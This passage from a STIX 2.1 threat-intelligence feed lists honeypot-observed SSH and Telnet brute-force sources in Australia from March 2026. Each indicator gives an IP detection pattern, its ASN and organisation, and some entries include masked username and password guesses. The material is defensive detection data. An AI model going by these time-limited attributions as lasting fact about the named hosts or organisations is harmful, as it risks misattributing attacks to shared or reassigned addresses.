      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 135799. Organisation(s): Rapidnet Private Limited.",
      "id": "indicator--624cbe5b-9fba-433e-9b5c-8440d950d0f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.83.148.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS. Usernames observed (masked): r**l. Passwords observed (masked): R******!.",
      "id": "indicator--e42fbfc5-1491-4c7a-aba0-840b5dc69dcf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.195.83.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--8015aa4f-8e60-4575-8961-215b279657c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.76.225.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--0cf49ea8-9e89-4b92-90c6-a2de6bac2695",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): s******n. Passwords observed (masked): 1****6.",
      "id": "indicator--436740e0-a8c4-40c8-a618-2209526c6c7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.91.97.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM.",
      "id": "indicator--92a52213-c9d9-464a-a1ff-b3e79207b7c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.168.19.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T06:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--0a88c74f-d5cf-48b6-88a3-655ca35d96d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T06:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.219.193.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T06:15:14.000Z",
      "valid_until": "2026-04-18T06:15:11.000Z"
    },
    {
      "created": "2026-03-17T07:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 120. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): 3**********4, a***n, r**t, u****2, u*****o. Passwords observed (masked): 3***********4, 3**********4, ***, 1******8, A**********$.",
      "id": "indicator--becfd0cc-d515-4e82-9b3a-105897c94c03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.115.56.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:15:07.000Z",
      "valid_until": "2026-04-18T07:15:05.000Z"
    },
    {
      "created": "2026-03-17T07:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--4faedb30-ba92-45a8-8b90-6c543ec7b616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.176.57.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:15:07.000Z",
      "valid_until": "2026-04-18T07:15:05.000Z"
    },
    {
      "created": "2026-03-17T07:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 6400. Organisation(s): Compania Dominicana de Telefonos S. A.. Usernames observed (masked): 3**********4, r**t, u****2, u*****o, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1******8, A**********$.",
      "id": "indicator--1f275830-e1cc-44cd-a229-c19105423f28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.6.48.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:15:07.000Z",
      "valid_until": "2026-04-18T07:15:05.000Z"
    },
    {
      "created": "2026-03-17T07:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--5c9c9ba7-6803-49d1-9f7b-84a8a1563cf2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.85.27.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:15:07.000Z",
      "valid_until": "2026-04-18T07:15:05.000Z"
    },
    {
      "created": "2026-03-17T07:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 53. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4, **, u*****o. Passwords observed (masked): 1******8, 3***********4, 3**********4, P**********4, m****s.",
      "id": "indicator--38d94ba8-b14a-44ce-90f9-543e7942f1c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.168.141.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:15:07.000Z",
      "valid_until": "2026-04-18T07:15:05.000Z"
    },
    {
      "created": "2026-03-17T07:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--9bd40398-d524-4202-ad1a-898035fa6ef2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.209.204.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:15:07.000Z",
      "valid_until": "2026-04-18T07:15:05.000Z"
    },
    {
      "created": "2026-03-17T07:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--a8ac5743-de44-4502-9e6f-5ad1bfe174b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.224.137.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:15:07.000Z",
      "valid_until": "2026-04-18T07:15:05.000Z"
    },
    {
      "created": "2026-03-17T07:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--8a71011b-7bb3-4c6c-86a7-dad292271949",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T07:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.15.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T07:15:07.000Z",
      "valid_until": "2026-04-18T07:15:05.000Z"
    },
    {
      "created": "2026-03-17T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 544. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, m*****r, s*****t. Passwords observed (masked): p******d, 1**4, a***n, 1****6, *****.",
      "id": "indicator--6cd8666b-4b99-4c41-a0a9-70f416aa0c7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.196.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:15:15.000Z",
      "valid_until": "2026-04-18T08:15:12.000Z"
    },
    {
      "created": "2026-03-17T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t, s***k, 3**********4, a**r, a******a. Passwords observed (masked): 1**4, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--b06a2c4a-d2d0-4e88-b7db-6363b1551ecc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.249.41.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:15:15.000Z",
      "valid_until": "2026-04-18T08:15:12.000Z"
    },
    {
      "created": "2026-03-17T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c4143c81-ca52-4a5e-b429-ebc75490dbe6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:15:15.000Z",
      "valid_until": "2026-04-18T08:15:12.000Z"
    },
    {
      "created": "2026-03-17T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 11290. Organisation(s): Cogeco Connexion inc.",
      "id": "indicator--b08754ef-1bd2-4489-a0ed-bf694d20c60e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.122.171.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:15:15.000Z",
      "valid_until": "2026-04-18T08:15:12.000Z"
    },
    {
      "created": "2026-03-17T08:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 487. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, u**r, c***o, ***. Passwords observed (masked): 1***5, 1****6, a***n, 1**4, P******d.",
      "id": "indicator--f94798a5-6b42-42d1-a379-6e2e43304a0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.79.40.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:15:15.000Z",
      "valid_until": "2026-04-18T08:15:12.000Z"
    },
    {
      "created": "2026-03-17T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--a9dbf4a2-8723-4479-a88e-1395d80b7cd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.21.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:15:15.000Z",
      "valid_until": "2026-04-18T08:15:12.000Z"
    },
    {
      "created": "2026-03-17T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--17182e91-a7f9-46b7-8173-dbe284ed419c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.183.103.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:15:15.000Z",
      "valid_until": "2026-04-18T08:15:12.000Z"
    },
    {
      "created": "2026-03-17T08:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T08:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T08:15:15.000Z",
      "valid_until": "2026-04-18T08:15:12.000Z"
    },
    {
      "created": "2026-03-17T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): *. Passwords observed (masked): 1**4.",
      "id": "indicator--f67a5c33-28c1-4bcd-8fc5-d442b814725c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.71.162.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:15:15.000Z",
      "valid_until": "2026-04-18T09:15:11.000Z"
    },
    {
      "created": "2026-03-17T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--46c9a5da-5e3a-484e-a45e-dc4e4974a170",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.15.163.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:15:15.000Z",
      "valid_until": "2026-04-18T09:15:11.000Z"
    },
    {
      "created": "2026-03-17T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--417dc152-55ae-41fa-947c-6329b011217e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.161.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:15:15.000Z",
      "valid_until": "2026-04-18T09:15:11.000Z"
    },
    {
      "created": "2026-03-17T09:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 29518. Organisation(s): Bredband2 AB.",
      "id": "indicator--146900ad-822e-43ee-b0e4-ee94b864e7a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.236.65.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:15:15.000Z",
      "valid_until": "2026-04-18T09:15:11.000Z"
    },
    {
      "created": "2026-03-17T09:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 7482. Organisation(s): Asia Pacific On-line Service Inc.. Usernames observed (masked): p***o, 3**********4, a**y, a******r, c***o. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, 3***********4.",
      "id": "indicator--fb68a155-668b-453e-a50a-47818312b4db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T09:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.244.155.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T09:15:15.000Z",
      "valid_until": "2026-04-18T09:15:11.000Z"
    },
    {
      "created": "2026-03-17T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 146772. Organisation(s): Shenzhen Pengcheng communication network Co., Ltd. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--219eb317-60e5-46b3-ad4b-a4b44344b7c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.161.254.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T10:15:14.000Z",
      "valid_until": "2026-04-18T10:15:12.000Z"
    },
    {
      "created": "2026-03-17T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--69f7e924-3ffc-4be5-a8d9-6a318ccf9a0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.41.7.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T10:15:14.000Z",
      "valid_until": "2026-04-18T10:15:12.000Z"
    },
    {
      "created": "2026-03-17T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, a***n, p******d.",
      "id": "indicator--cac242fc-80b1-4e8e-be23-4ed3c917d721",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.71.209.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T10:15:14.000Z",
      "valid_until": "2026-04-18T10:15:12.000Z"
    },
    {
      "created": "2026-03-17T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--95beabf4-8e6d-4818-ad23-3376253113a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.78.106.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T10:15:14.000Z",
      "valid_until": "2026-04-18T10:15:12.000Z"
    },
    {
      "created": "2026-03-17T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--85d27f5b-1f5b-45f8-b867-a9ffa1957199",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.79.33.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T10:15:14.000Z",
      "valid_until": "2026-04-18T10:15:12.000Z"
    },
    {
      "created": "2026-03-17T10:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268468. Organisation(s): MXCONECT SERVICOS DE COMUNICACAO LTDA.",
      "id": "indicator--9ccd29b9-8726-40cd-ad64-d954ba763986",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.239.202.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-17T10:15:14.000Z",
      "valid_until": "2026-04-18T10:15:12.000Z"
    },
    {
      "created": "2026-03-17T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--53ce8a51-b71d-4411-a28e-0fa1c25a858f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-17T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
